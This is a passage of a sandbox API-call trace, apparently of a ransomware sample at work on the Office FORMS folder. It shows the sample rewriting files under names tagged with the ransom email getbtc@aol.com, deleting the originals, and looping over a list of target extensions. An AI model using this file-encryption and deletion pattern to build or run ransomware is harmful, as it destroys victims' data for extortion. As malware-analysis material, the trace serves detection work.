office\\office14\\forms\\1033\\scdrestl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.279] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.279] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.280] GetLastError () returned 0x0 [0263.280] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x436, lpOverlapped=0x0) returned 1 [0263.313] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.314] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.314] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.314] SetEndOfFile (hFile=0x3d8) returned 1 [0263.314] CloseHandle (hObject=0x3d8) returned 1 [0263.314] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.315] SetEndOfFile (hFile=0x3a8) returned 1 [0263.324] CloseHandle (hObject=0x3a8) returned 1 [0263.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico")) returned 1 [0263.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.340] lstrlenW (lpString=".doc") returned 4 [0263.340] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.340] lstrlenW (lpString=".docx") returned 5 [0263.340] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.340] lstrlenW (lpString=".pdf") returned 4 [0263.340] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.340] lstrlenW (lpString=".xls") returned 4 [0263.340] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.340] lstrlenW (lpString=".xlsx") returned 5 [0263.340] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.340] lstrlenW (lpString=".ppt") returned 4 [0263.340] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.340] lstrlenW (lpString=".zip") returned 4 [0263.340] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.340] lstrlenW (lpString=".rar") returned 4 [0263.340] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.340] lstrlenW (lpString=".bz2") returned 4 [0263.340] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.341] lstrlenW (lpString=".7z") returned 3 [0263.341] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.341] lstrlenW (lpString=".dbf") returned 4 [0263.341] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.341] lstrlenW (lpString=".1cd") returned 4 [0263.341] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.341] lstrlenW (lpString=".jpg") returned 4 [0263.341] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.341] lstrlenW (lpString=".doc") returned 4 [0263.341] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.341] lstrlenW (lpString=".docx") returned 5 [0263.341] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.341] lstrlenW (lpString=".pdf") returned 4 [0263.341] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.341] lstrlenW (lpString=".xls") returned 4 [0263.341] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.341] lstrlenW (lpString=".xlsx") returned 5 [0263.341] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.341] lstrlenW (lpString=".ppt") returned 4 [0263.341] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.341] lstrlenW (lpString=".zip") returned 4 [0263.341] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.341] lstrlenW (lpString=".rar") returned 4 [0263.341] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.341] lstrlenW (lpString=".bz2") returned 4 [0263.341] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.341] lstrlenW (lpString=".7z") returned 3 [0263.341] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.341] lstrlenW (lpString=".dbf") returned 4 [0263.342] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.342] lstrlenW (lpString=".1cd") returned 4 [0263.342] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0263.342] lstrlenW (lpString=".jpg") returned 4 [0263.342] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.342] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.342] lstrlenW (lpString="SCHDREQ.CFG") returned 11 [0263.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.342] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1199) returned 1 [0263.342] CloseHandle (hObject=0x1c0) returned 1 [0263.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg")) returned 0x20 [0263.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.343] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.343] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.344] GetLastError () returned 0x0 [0263.344] ReadFile (in: hFile=0x1c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x4af, lpOverlapped=0x0) returned 1 [0263.382] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0263.382] ReadFile (in: hFile=0x1c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.382] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.383] SetEndOfFile (hFile=0x3dc) returned 1 [0263.383] CloseHandle (hObject=0x3dc) returned 1 [0263.383] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.383] SetEndOfFile (hFile=0x1c0) returned 1 [0263.386] CloseHandle (hObject=0x1c0) returned 1 [0263.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg")) returned 1 [0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.387] lstrlenW (lpString=".doc") returned 4 [0263.387] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString=".docx") returned 5 [0263.387] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0263.387] lstrlenW (lpString=".pdf") returned 4 [0263.387] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString=".xls") returned 4 [0263.387] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString=".xlsx") returned 5 [0263.387] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0263.387] lstrlenW (lpString=".ppt") returned 4 [0263.387] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.387] lstrlenW (lpString=".zip") returned 4 [0263.387] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString=".rar") returned 4 [0263.387] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString=".bz2") returned 4 [0263.387] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.387] lstrlenW (lpString=".7z") returned 3 [0263.387] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.387] lstrlenW (lpString=".dbf") returned 4 [0263.387] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.387] lstrlenW (lpString=".1cd") returned 4 [0263.387] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.387] lstrlenW (lpString=".jpg") returned 4 [0263.387] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.387] lstrlenW (lpString=".doc") returned 4 [0263.387] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.388] lstrlenW (lpString=".docx") returned 5 [0263.388] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0263.388] lstrlenW (lpString=".pdf") returned 4 [0263.388] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.388] lstrlenW (lpString=".xls") returned 4 [0263.388] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.388] lstrlenW (lpString=".xlsx") returned 5 [0263.388] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0263.388] lstrlenW (lpString=".ppt") returned 4 [0263.388] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.388] lstrlenW (lpString=".zip") returned 4 [0263.388] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.388] lstrlenW (lpString=".rar") returned 4 [0263.388] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.388] lstrlenW (lpString=".bz2") returned 4 [0263.388] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.388] lstrlenW (lpString=".7z") returned 3 [0263.388] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.388] lstrlenW (lpString=".dbf") returned 4 [0263.388] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.388] lstrlenW (lpString=".1cd") returned 4 [0263.388] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned 65 [0263.388] lstrlenW (lpString=".jpg") returned 4 [0263.388] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.388] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.388] lstrlenW (lpString="SCHDRESP.CFG") returned 12 [0263.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.427] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=833) returned 1 [0263.427] CloseHandle (hObject=0x1f8) returned 1 [0263.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg")) returned 0x20 [0263.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.492] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.492] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.492] GetLastError () returned 0x0 [0263.492] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x341, lpOverlapped=0x0) returned 1 [0263.494] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x350, lpOverlapped=0x0) returned 1 [0263.495] ReadFile (in: hFile=0x3c4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.495] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.495] SetEndOfFile (hFile=0x1f8) returned 1 [0263.495] CloseHandle (hObject=0x1f8) returned 1 [0263.495] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.495] SetEndOfFile (hFile=0x3c4) returned 1 [0263.497] CloseHandle (hObject=0x3c4) returned 1 [0263.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg")) returned 1 [0263.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.498] lstrlenW (lpString=".doc") returned 4 [0263.498] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.498] lstrlenW (lpString=".docx") returned 5 [0263.498] lstrcmpiW (lpString1=".docx", lpString2="P.CFG") returned -1 [0263.498] lstrlenW (lpString=".pdf") returned 4 [0263.498] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.498] lstrlenW (lpString=".xls") returned 4 [0263.498] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.498] lstrlenW (lpString=".xlsx") returned 5 [0263.498] lstrcmpiW (lpString1=".xlsx", lpString2="P.CFG") returned -1 [0263.498] lstrlenW (lpString=".ppt") returned 4 [0263.498] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.498] lstrlenW (lpString=".zip") returned 4 [0263.498] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.498] lstrlenW (lpString=".rar") returned 4 [0263.498] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.498] lstrlenW (lpString=".bz2") returned 4 [0263.498] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.498] lstrlenW (lpString=".7z") returned 3 [0263.498] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.498] lstrlenW (lpString=".dbf") returned 4 [0263.498] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.499] lstrlenW (lpString=".1cd") returned 4 [0263.499] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.499] lstrlenW (lpString=".jpg") returned 4 [0263.499] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.499] lstrlenW (lpString=".doc") returned 4 [0263.499] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString=".docx") returned 5 [0263.499] lstrcmpiW (lpString1=".docx", lpString2="P.CFG") returned -1 [0263.499] lstrlenW (lpString=".pdf") returned 4 [0263.499] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString=".xls") returned 4 [0263.499] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString=".xlsx") returned 5 [0263.499] lstrcmpiW (lpString1=".xlsx", lpString2="P.CFG") returned -1 [0263.499] lstrlenW (lpString=".ppt") returned 4 [0263.499] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.499] lstrlenW (lpString=".zip") returned 4 [0263.499] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString=".rar") returned 4 [0263.499] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString=".bz2") returned 4 [0263.499] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.499] lstrlenW (lpString=".7z") returned 3 [0263.499] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.499] lstrlenW (lpString=".dbf") returned 4 [0263.499] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.499] lstrlenW (lpString=".1cd") returned 4 [0263.499] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0263.500] lstrlenW (lpString=".jpg") returned 4 [0263.500] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.500] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.500] lstrlenW (lpString="SECRECL.ICO") returned 11 [0263.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.500] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1078) returned 1 [0263.500] CloseHandle (hObject=0x3c4) returned 1 [0263.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico")) returned 0x20 [0263.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrecl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.501] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 